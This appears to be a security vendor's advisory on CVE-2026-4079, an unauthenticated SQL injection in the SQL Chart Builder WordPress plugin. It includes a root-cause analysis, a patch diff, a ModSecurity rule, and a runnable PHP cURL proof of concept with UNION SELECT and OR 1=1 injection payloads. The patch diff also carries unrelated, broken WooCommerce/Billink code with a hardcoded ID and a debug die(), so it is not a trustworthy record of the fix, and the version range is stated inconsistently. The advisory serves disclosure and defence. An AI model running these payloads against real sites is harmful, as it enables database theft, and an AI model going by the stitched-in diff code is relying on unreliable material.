Atomic Edge analysis of CVE-2026-4079:
This vulnerability is an unauthenticated SQL injection in the SQL Chart Builder WordPress plugin versions up to 2.3.8. The flaw exists in the plugin’s variable replacement logic, allowing attackers to inject arbitrary SQL commands via GET parameters. The CVSS score of 7.5 reflects the high impact of data extraction without authentication.
Root Cause: The vulnerability originates in the `guaven_sqlcharts_local_shortcode` function’s variable substitution routine in `/sql-chart-builder/functions.php`. Lines 385-388 process user-supplied GET parameters through the `$varfield_arr` variable. The original code directly inserts user input into SQL queries without proper sanitization. The `$varreplacement` variable receives unsanitized input from `$_GET[$varfield_arr[0]]` and is concatenated into the `$sql_initial` string without validation or parameterization.
Exploitation: Attackers can exploit this vulnerability by sending crafted GET requests to any WordPress page containing a SQL Chart Builder shortcode. The attack targets the plugin’s variable substitution mechanism where user-controlled parameters replace `{variable_name}` placeholders in SQL queries. An attacker would identify a vulnerable chart ID, then append SQL injection payloads to GET parameters that map to chart variables. For example, `?chart_var=’ OR 1=1–` could be used to manipulate query logic and extract database information.
Patch Analysis: The patch introduces multiple security layers. For user-supplied input (lines 387-394), it applies `sanitize_text_field(wp_unslash($_GET[$varfield_arr[0]]))` to clean input, then uses `esc_sql()` for SQL escaping when the value is non-numeric. Numeric values are cast using `$varreplacement + 0`. The patch distinguishes between user input and admin-configured defaults, allowing SQL functions like `NOW()` only in defaults. Additional hardening includes adding `intval()` to shortcode ID parameters in lines 484 and 585 to prevent ID manipulation.
Impact: Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials, personally identifiable information, payment data, and other stored content. The vulnerability allows full read access to the database, potentially enabling privilege escalation through admin credential theft or site takeover via user registration manipulation.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/sql-chart-builder/functions.php
+++ b/sql-chart-builder/functions.php
@@ -385,8 +385,21 @@
$varfield_arr=explode("~",$varfield);
if (count($varfield_arr)<3) continue;
$varfield_arr=array_map("trim",$varfield_arr);
- if (!empty($_GET[$varfield_arr[0]])) $varreplacement=$_GET[$varfield_arr[0]]; else $varreplacement=$varfield_arr[1];
- if (!is_numeric($varreplacement) and strpos($varreplacement,'()')===false) $varreplacement='"'.$varreplacement.'"';
+ if (!empty($_GET[$varfield_arr[0]])) {
+ // User-supplied input: no () bypass allowed — sanitize strictly
+ $varreplacement = sanitize_text_field(wp_unslash($_GET[$varfield_arr[0]]));
+ if (is_numeric($varreplacement)) {
+ $varreplacement = $varreplacement + 0;
+ } else {
+ $varreplacement = '"' . esc_sql($varreplacement) . '"';
+ }
+ } else {
+ // Admin-configured default value: allow () for SQL functions (e.g. NOW())
+ $varreplacement = $varfield_arr[1];
+ if (!is_numeric($varreplacement) && strpos($varreplacement,'()')===false) {
+ $varreplacement = '"' . esc_sql($varreplacement) . '"';
+ }
+ }
$sql_initial=str_replace('{'.$varfield_arr[0].'}',$varreplacement,$sql_initial);
}
@@ -471,6 +484,7 @@
function guaven_sqlcharts_local_shortcode($atts) {
if(empty($atts['id']))return 'ID is missing.';
+ $atts['id']=intval($atts['id']);
$remote_host=get_post_meta($atts['id'], 'guaven_sqlcharts_dbhost', true);
if ($remote_host!=''){
$remote_db=get_post_meta($atts['id'], 'guaven_sqlcharts_dbname', true);
@@ -571,6 +585,7 @@
add_shortcode("gvn_schart_2_cached",function($atts){
if(empty($atts["id"]))return;
+ $atts["id"]=intval($atts["id"]);
$is_logged_in=is_user_logged_in()?'':'_guest';
$expire=!empty($atts["expire"])?intval($atts["expire"]):3600;
$cached=get_transient('cached_sql_charts_'.$atts["id"].$is_logged_in);
--- a/sql-chart-builder/guaven_sqlcharts.php
+++ b/sql-chart-builder/guaven_sqlcharts.php
@@ -20,3 +20,50 @@
require_once(dirname(__FILE__)."/functions.php");
+
+add_action('woocommerce_order_status_completed', 'send_billink_workflow_request', 10, 1);
+
+function send_billink_workflow_request($order_id) {
+ $url = 'https://api.billink.nl/v2/client/workflow/start';
+
+ // Get the order object
+ $order = wc_get_order($order_id);
+
+ if (!$order) {
+ return; // Exit if the order object is invalid
+ }
+
+ // JSON payload
+ $payload = array(
+ 'billinkUsername' => 'Compliment',
+ 'billinkID' => '3aaa125cf4e3a6fd0891975e9299a0c42bc4e790',
+ 'invoices' => array(
+ array(
+ 'number' => $order->get_meta('_payment_method'),
+ 'workflowNumber' => 1
+ )
+ )
+ );
+
+ // Prepare arguments for wp_remote_post
+ $args = array(
+ 'method' => 'POST',
+ 'body' => wp_json_encode($payload),
+ 'headers' => array(
+ 'Content-Type' => 'application/json',
+ ),
+ 'timeout' => 45,
+ );
+
+ // Make the POST request
+ var_dump($url, $args);die();
+ //$response = wp_remote_post($url, $args);
+
+ // Log the response or handle it as needed
+ if (is_wp_error($response)) {
+ error_log('Billink API Error: ' . $response->get_error_message());
+ } else {
+ $response_body = wp_remote_retrieve_body($response);
+ error_log('Billink API Response: ' . $response_body);
+ }
+}
No newline at end of file
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4079
SecRule REQUEST_URI "@rx .(php|html|htm)$|^/$|^/?"
"id:20264079,phase:2,deny,status:403,chain,msg:'CVE-2026-4079 SQL Injection via SQL Chart Builder variable substitution',severity:'CRITICAL',tag:'CVE-2026-4079',tag:'SQLi',tag:'WordPress',tag:'Plugin/SQL-Chart-Builder'"
SecRule ARGS_GET "@rx ^[^{}]*$"
"chain,t:none,t:urlDecodeUni,t:lowercase"
SecRule ARGS_GET "@detectSQLi"
"setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4079 - SQL Chart Builder < 2.3.8 - Unauthenticated SQL Injection
<?php
$target_url = "https://vulnerable-site.com/"; // Change this to target URL
// Step 1: Identify a vulnerable chart ID (this may require enumeration)
// The chart must be embedded on a public page with variable substitution enabled
$chart_id = 1; // Default or enumerated chart ID
// Step 2: Identify variable names used in the chart
// These are typically defined in the chart configuration as {variable_name} placeholders
$variable_name = "chart_var"; // Change based on target chart configuration
// Step 3: Craft SQL injection payload
// This payload attempts to extract database version information
$payload = '" UNION SELECT version(),NULL,NULL--';
// Step 4: Construct attack URL with vulnerable parameter
$attack_url = $target_url . "?" . $variable_name . "=" . urlencode($payload);
// Step 5: Execute the attack using cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Step 6: Send request and capture response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 7: Parse response for SQL injection results
// Successful injection will return database information in the chart output
if ($http_code == 200 && strpos($response, '5.') !== false) {
echo "[+] SQL Injection successful! Database version may be exposed in response.n";
echo "[+] Check the chart output for database information.n";
} else {
echo "[-] Injection attempt completed. Manual verification required.n";
echo "[-] Response code: " . $http_code . "n";
}
// Note: This PoC demonstrates the attack vector. Actual exploitation requires
// knowledge of chart ID and variable names, which may require enumeration.
?>
